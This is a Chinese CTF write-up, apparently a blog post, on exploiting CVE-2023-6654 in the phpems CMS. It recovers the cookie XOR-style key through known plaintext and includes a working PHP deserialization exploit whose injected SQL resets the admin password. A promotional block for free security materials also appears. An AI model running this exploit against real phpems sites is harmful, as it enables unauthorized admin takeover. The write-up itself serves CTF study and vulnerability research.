首页 > 编程语言 >2024西湖论剑-phpems-代码审计

2024西湖论剑-phpems-代码审计

时间:2024-03-25 17:00:56浏览次数:32  
标签:info pdosql phpems 2024 key ord php 论剑 cls

前言

2024西湖论剑数据安全题,太菜了当时没看明白,

系统是phpems,修改了默认密码,需要利用CVE登上去

CVE-2023-6654 ,菜鸟学习,大佬多指点

0x01环境搭建

https://phpems.net/index.php 源码

config.inc.php修改相应数据库配置

数据库运行pe9.sql文件建立数据库

0x02代码审计

根据题目提示是CVE2023-6654

漏洞点在session.cls.php

查看session.cls.php代码

查看ginkgo

其make方法会判断$G拼接的文件名是否存在,也就是lib文件下的.cls.php文件,存在的就会包含这个文件

pepdo,ev,pdosql,strings是这里面分别包含的文件,根据CVE披露得知是反序列化漏洞,搜索反序列化点。

strings.cls.php中有利用点

getSessionId()方法里面有调用decode

key值为CS,CS值在config.inc.php中,题目环境是修改的

使用如下代码可以解密出明文,因为我们知道key

<?php
define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');
$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%25B4%257F%2596%2599b%259C%25D5%259C%25AAi%25A6%259A%2597%25AE%258B%25AC%25D7%25C9%25DB%25CF%258B%25D5%259Ei%2596%25AA%25D0%259DQ%25A9v%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9y%2597%2586%2582%258Fgf%25A3%25EE";
$key = CS;
$info = urldecode(urldecode($info));
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])-ord($key[$p]));
}
echo $info;

encode代码

public function encode($info)
{
$info = serialize($info);
$key = CS;
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])+ord($key[$p]));
}
return urlencode($info);
}
​
decode代码
​
public function decode($info)
{
$key = CS;
$info = urldecode($info);
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])-ord($key[$p]));
}
$info = unserialize($info);
return $info;
}

可以看出里面这个$p值是循环的,加密的出来的值等于其ascll值相加,

encode是明文+key=密文

decode是密文-key=明文

key=密文-明文

key的长度是32位,也就是我们得到的密码每32位一循环,那么如果我们知道密文中其中一段32位的明文,就可以算出来key了

ev.cls.php

可以确认这个ip是可控的,也就是这个值是可控的

a:3:{s:9:"sessionid";s:32:"6c48c14d623214794ccef7ee5f4b6003";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706957115;}

去掉前面的64位,往后顺延32为取出来,值如下

:"sessionip";s:9:"127.0.0.1";s:1

解密脚本

<?php
$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3ebjfel%2596%25CD%25D7%25CA%25A8k%25D5%259F%259A%25A9%25B6%25A8%25A4%2598%25AC%2599%2589%25A5p%2596%2593%25AC%25A6%259FZ%25DBuSm%25A6nnk%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7tSm%25A6nfg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9yjiiemj%25A3%25EE";
$key = CS;
$info = urldecode(urldecode($info));
$info1=substr($info,64,32);
//echo $info1;
$ed=strlen($info1);//也就是32
$dc=32;
$sessip=':"sessionip";s:9:"127.0.0.1";s:1';
for ($i=0;$i<$ed;$i++)
{
$p=$i%$dc;
$info1[$i]=chr(ord($info1[$i])-ord($sessip[$p]));
}
echo $info1;
//1hqfx6ticwRxtfviTp940vng!yC12345
​
构造反序列化链子
​
session.cls.php的__destruct() 关键代码
​
$sql = $this->pdosql->makeUpdate($data);
$this->db->exec($sql);
​
![](./myMediaFolder/media/image13.png){width="7.333333333333333in"
height="2.8976049868766403in"}

这里可以看出分别需要db和pdosql,以此达到反序列化修改数据库密码,

构造链子 session::__destruct()->pdosql::makeUpdate->pepdo::exec

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

0x03漏洞复现

这里使用网上师傅的EXP

<?php
namespace PHPEMS
{
class session
{
public function __construct()
{
$this->sessionid="1111111";
$this->pdosql= new pdosql();
$this->db= new pepdo();
}
}
class pdosql
{
private $db;
public function __construct()
{
$this->tablepre = 'x2_user set
userpassword="a10adc3949ba59abbe56e057f20f883e" where
username="peadmin";#--';
$this->db=new pepdo();
}
​
}
class pepdo
{
private $linkid = 0;
}
}
namespace {
define('CS1','1hqfx6ticwRxtfviTp940vng!yC12345');
function encode($info)
{
$info = serialize($info);
$key = CS1;
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])+ord($key[$p]));
}
return urlencode($info);
}
$session = new PHPEMSsession();
$array = array("sessionid"=>"123123123", $session);
echo serialize($array)."n";
echo(urlencode(encode($array)))."n";
}

实战中我们的ip是可以伪造的

关键代码点

需要先创建pepdo和pdosql

pdosql.cls.php的makeUpdate是用来生成sql语句的

$tb_pre = $this->tablepre

所以这个sql语句参数可控

0x04总结

函数是关键,研究下是否能可控这个反序列化的参数值,并且反序列化中能够调用危险函数。

更多网安技能的在线实操练习,请点击这里>>

  

标签:info,pdosql,phpems,2024,key,ord,php,论剑,cls
From: https://www.cnblogs.com/hetianlab/p/18094795

相关文章

  • 算法模板 v1.10.4.20240325
    算法模板v1.1.1.20240115:之前历史版本已不可寻,创建第一份算法模板。v1.2.1.20240116:删除“编译”-“手动开栈”;删除“编译”-“手动开O优化”;修改“编译”-“CF模板”;删除“读写”;删除“图论”-“欧拉图”-“混合图”;删除“图论”-“可达性统计”;删除“数据类型”-“高精类”。......
  • 2024/3/25月考游记
    你说的对,但是月考前两天我才知道两天后要月考。day-1知道要月考了,非常开心,试图逃掉未遂。day0周日,对socket.io的代码进行了一个贺,能运行,非常好。并且收到了两本修仙读物,好。还收到了柠檬片,好。day1考场在一个蜿蜒山弯的地方,走进了两个死胡同,并且碰上了同样走进死胡同......
  • InDesign 2024:创意不熄火,设计不止步mac/win版
    InDesign2024,不仅仅是一个设计软件更新,它更是设计界的一次革命性飞跃。这款全新的设计软件将为您打开前所未有的创意大门,让您在设计的海洋中畅游无阻。→→↓↓载InDesign2024mac/win版 InDesign2024以其卓越的性能和稳定性,确保设计师在处理各种复杂设计任务时都能游刃有......
  • 20240325每日一题题解
    20240325每日一题题解Problem给出一个整数\(a\)和一个正整数\(n\),求乘方\(a^n\)。输入一行,包含两个整数\(a\)和\(n\)。\(-1000000\lea\le1000000\),\(1\len\le10000\)。输出一个整数,即乘方结果。题目保证最终结果的绝对值不超过\(1000000\)。样例输入23样......
  • Media Encoder 2024:未来媒体编码的新纪元 mac/win激活版
    随着科技的飞速发展,媒体内容已成为我们日常生活中不可或缺的一部分。为了满足用户对高质量视频内容不断增长的需求,MediaEncoder2024应运而生,它凭借卓越的技术和创新的特性,重塑了媒体编码的未来。→→↓↓载MediaEncoder2024mac/win版 MediaEncoder2024以其高效的编码......
  • RSS Fever API 服务搭建避坑指南(FreshRSS + Fluent Reader, 2024年最新可用教程)
    1.适用人群需要通过RSS主动获取来自订阅源的信息,并且希望在多个设备上实现订阅源共享;拥有一台云服务器,并安装了Linux系统;能够访问谷歌。注意,这不是一篇非常详细的教程,对于教程中涉及的程序(如FreshRSS),官方和用户分别提供了充足的配置资料和经验分享,我会避免直接搬运它......
  • 【保姆级】2024年最新Onlyfans使用订阅教程
    【必看】开通步骤订阅OnlyFans的步骤简要总结如下:使用虚拟信用卡平台WildCard开通虚拟信用卡:注册教程。开卡后,进入WildCard首页,就能看到自己的虚拟信用卡信息把虚拟信用卡的信息填写到OnlyFans绑定信用卡界面就OK了总费用:从上面的链接进入开卡费一年9.9美元+OnlyFans订阅......
  • YC262A [ 20240321 CQYC省选模拟赛 T1 ] 多边形(polygon)
    题意有一个由\(0/1\)组成的字符串\(S\)。给你\(m\)次操作。假如\(S_{u}=1\)且\(S_{v}=0\),则交换\(S_{u},S_{v}\)。假如对于所有的\(S\),使得最终字符串\(S'\)的所有\(1\)相邻。请输出\(1\)的个数为\([1,n]\)的\(S\)的方案数。答案对\(2\)取模。......
  • 联合省选2024游记
    联合省选2024游记因为这是省选后114514三周后,为了庆祝我的笔记本电脑到了而写的,所以有很多东西都记不清了(因为在赶稿,总之先写到这,后面如果想起什么再补day-1下午五点放学,回家!顺便把机房前几天中午吃乡村基时外卖的两个大盒子给薅走了,给家里的两只猫猫\(CQ\)就是好,考省选也......
  • Python开源项目周排行 2024年第6周
    Python趋势周报,按周浏览往期GitHub,Gitee等最热门的Python开源项目,入选的项目主要参考GitHubTrending,部分参考了Gitee和其他。排名不分先后,都是当周相对热门的项目。入选公式=70%GitHubTrending+20%Gitee+10%其他关注微信公众号,接收周报推送#2024年第6周2024年3月16日......